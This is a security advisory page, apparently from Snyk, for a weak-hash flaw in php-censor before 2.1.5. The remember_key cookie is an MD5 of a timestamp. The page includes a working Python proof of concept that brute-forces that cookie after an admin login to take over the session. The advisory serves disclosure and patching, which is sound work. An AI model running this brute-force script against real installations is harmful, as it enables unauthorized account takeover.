Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Use of Password Hash With Insufficient Computational Effort vulnerabilities in an interactive lesson.
Start learningUpgrade php-censor/php-censor
to version 2.1.5 or higher.
Affected versions of this package are vulnerable to Use of Password Hash With Insufficient Computational Effort due to the use of a weak hashing algorithm for the remember_key
value. An attacker can gain unauthorized access to user accounts by brute-forcing the remember_key
value.
import requests
import time
import hashlib
url = [REDACTED]
### simulate admin login
data = {"email":"admin",
"password":"admin",
"remember_me":1}
r = requests.post(url, data=data)
<h3>bruteforce key</h3>
# Get the current timestamp in seconds and microseconds
timestamp_end = time.time()
# 5 second after admin login, but we can set any time frame we want
timestamp_start = timestamp_end - 5
while timestamp_start <= timestamp_end:
hashval = hashlib.md5(bytes(str(round(timestamp_start,4)), 'utf-8'))
remember_key = str(hashval.hexdigest())
cookies = {"remember_key" : remember_key}
r = requests.get(url, cookies=cookies)
if "element-login_form" not in r.text:
print("hacked")
print(remember_key)
break
else:
timestamp_start += 0.0001